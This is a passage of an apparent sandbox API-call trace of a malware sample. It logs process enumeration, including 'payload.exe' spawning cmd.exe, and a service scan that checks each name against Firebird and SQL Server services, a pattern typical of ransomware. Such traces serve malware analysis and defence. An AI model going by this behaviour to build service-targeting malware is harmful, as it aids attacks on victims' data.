9 [0061.039] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademexicanvolkswagen.exe")) returned 1 [0061.040] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0061.040] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charity aging tracked.exe")) returned 1 [0061.040] lstrlenW (lpString="charity aging tracked.exe") returned 25 [0061.040] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="genealogy.exe")) returned 1 [0061.041] lstrlenW (lpString="genealogy.exe") returned 13 [0061.042] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers_indication_wage.exe")) returned 1 [0061.042] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0061.042] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine-keyboard.exe")) returned 1 [0061.047] lstrlenW (lpString="determine-keyboard.exe") returned 22 [0061.047] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure.exe")) returned 1 [0061.048] lstrlenW (lpString="expenditure.exe") returned 15 [0061.048] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="patents-compiler-transportation.exe")) returned 1 [0061.049] lstrlenW (lpString="patents-compiler-transportation.exe") returned 35 [0061.049] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0061.050] lstrlenW (lpString="upgrading.exe") returned 13 [0061.050] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative.exe")) returned 1 [0061.051] lstrlenW (lpString="conservative.exe") returned 16 [0061.051] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enrollment wrist tired.exe")) returned 1 [0061.052] lstrlenW (lpString="enrollment wrist tired.exe") returned 26 [0061.052] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="partybloodpopularity.exe")) returned 1 [0061.052] lstrlenW (lpString="partybloodpopularity.exe") returned 24 [0061.052] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="labor-perhaps-sentences.exe")) returned 1 [0061.053] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0061.053] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gods violations duke.exe")) returned 1 [0061.054] lstrlenW (lpString="gods violations duke.exe") returned 24 [0061.054] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0061.055] lstrlenW (lpString="dllhost.exe") returned 11 [0061.055] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0061.056] lstrlenW (lpString="conhost.exe") returned 11 [0061.056] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0061.057] lstrlenW (lpString="conhost.exe") returned 11 [0061.057] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0061.058] lstrlenW (lpString="payload.exe") returned 11 [0061.058] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0061.059] lstrlenW (lpString="cmd.exe") returned 7 [0061.059] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0061.059] lstrlenW (lpString="conhost.exe") returned 11 [0061.060] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0061.060] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0061.060] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf08, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0061.061] lstrlenW (lpString="conhost.exe") returned 11 [0061.061] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.062] lstrlenW (lpString="svchost.exe") returned 11 [0061.062] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0061.062] lstrlenW (lpString="mode.com") returned 8 [0061.063] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0061.063] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0061.064] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 0 [0061.064] CloseHandle (hObject=0x2e0) returned 1 [0061.064] Sleep (dwMilliseconds=0x1f4) [0061.616] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ced18 [0061.616] EnumServicesStatusExW (in: hSCManager=0x6ced18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0 [0064.093] GetLastError () returned 0xea [0064.093] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1ddc) returned 0x4364f30 [0064.093] EnumServicesStatusExW (in: hSCManager=0x6ced18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4364f30, cbBufSize=0x1ddc, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4364f30, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1 [0064.101] CloseServiceHandle (hSCObject=0x6ced18) returned 1 [0064.102] lstrlenW (lpString="Appinfo") returned 7 [0064.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0064.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0064.102] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0064.102] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0064.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0064.102] lstrlenW (lpString="AppXSvc") returned 7 [0064.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0064.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0064.102] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0064.102] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0064.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0064.102] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0064.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0064.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0064.102] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0064.102] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0064.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0064.102] lstrlenW (lpString="Audiosrv") returned 8 [0064.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0064.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0064.102] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0064.102] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0064.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0064.103] lstrlenW (lpString="BFE") returned 3 [0064.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0064.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0064.103] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0064.103] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0064.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0064.103] lstrlenW (lpString="BITS") returned 4 [0064.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0064.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0064.103] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0064.103] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0064.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0064.103] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0064.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0064.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0064.103] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0064.103] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0064.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0064.103] lstrlenW (lpString="CDPSvc") returned 6 [0064.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0064.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0064.103] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0064.103] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0064.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0064.103] lstrlenW (lpString="ClickToRunSvc") returned 13 [0064.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0064.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0064.103] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0064.103] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0064.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0064.104] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0064.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0064.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0064.104] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0064.104] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0064.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0064.104] lstrlenW (lpString="CryptSvc") returned 8 [0064.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0064.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0064.104] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0064.104] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0064.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0064.104] lstrlenW (lpString="DcomLaunch") returned 10 [0064.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0064.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0064.104] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0064.104] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0064.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0064.104] lstrlenW (lpString="DeviceAssociationService") returned 24 [0064.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0064.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0064.104] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0064.104] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0064.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0064.104] lstrlenW (lpString="Dhcp") returned 4 [0064.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0064.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0064.105] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0064.105] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0064.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0064.105] lstrlenW (lpString="Dnscache") returned 8 [0064.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0064.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0064.105] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0064.105] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0064.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0064.105] lstrlenW (lpString="DoSvc") returned 5 [0064.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0064.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0064.105] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0064.105] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0064.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0064.105] lstrlenW (lpString="DPS") returned 3 [0064.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0064.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0064.105] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0064.105] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0064.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0064.105] lstrlenW (lpString="DusmSvc") returned 7 [0064.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0064.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0064.105] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0064.105] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0064.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0064.105] lstrlenW (lpString="EventLog") returned 8 [0064.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0064.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0064.106] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0064.106] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0064.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0064.106] lstrlenW (lpString="EventSystem") returned 11 [0064.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0064.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0064.106] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0064.106] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0064.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0064.106] lstrlenW (lpString="FontCache") returned 9 [0064.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0064.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0064.106] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0064.106] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0064.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0064.106] lstrlenW (lpString="gpsvc") returned 5 [0064.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0064.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0064.106] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0064.106] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0064.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0064.106] lstrlenW (lpString="iphlpsvc") returned 8 [0064.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0064.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0064.106] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0064.106] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0064.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0064.106] lstrlenW (lpString="KeyIso") returned 6 [0064.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0064.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0064.106] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0064.107] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0064.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0064.107] lstrlenW (lpString="LanmanServer") returned 12 [0064.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0064.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0064.107] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0064.107] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0064.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0064.107] lstrlenW (lpString="LanmanWorkstation") returned 17 [0064.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0064.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0064.107] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0064.107] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0064.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0064.107] lstrlenW (lpString="lfsvc") returned 5 [0064.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0064.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0064.107] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0064.107] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0064.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0064.107] lstrlenW (lpString="lmhosts") returned 7 [0064.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0064.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0064.107] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0064.107] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0064.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0064.107] lstrlenW (lpString="LSM") returned 3 [0064.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0064.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0064.107] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0064.108] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0064.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0064.108] lstrlenW (lpString="MapsBroker") returned 10 [0064.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0064.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0064.108] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0064.108] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0064.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0064.108] lstrlenW (lpString="MpsSvc") returned 6 [0064.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0064.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0064.108] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0064.108] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0064.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0064.108] lstrlenW (lpString="NcbService") returned 10 [0064.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0064.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0064.108] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0064.108] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0064.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0064.108] lstrlenW (lpString="netprofm") returned 8 [0064.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0064.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0064.108] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0064.108] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0064.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0064.108] lstrlenW (lpString="NlaSvc") returned 6 [0064.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0064.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 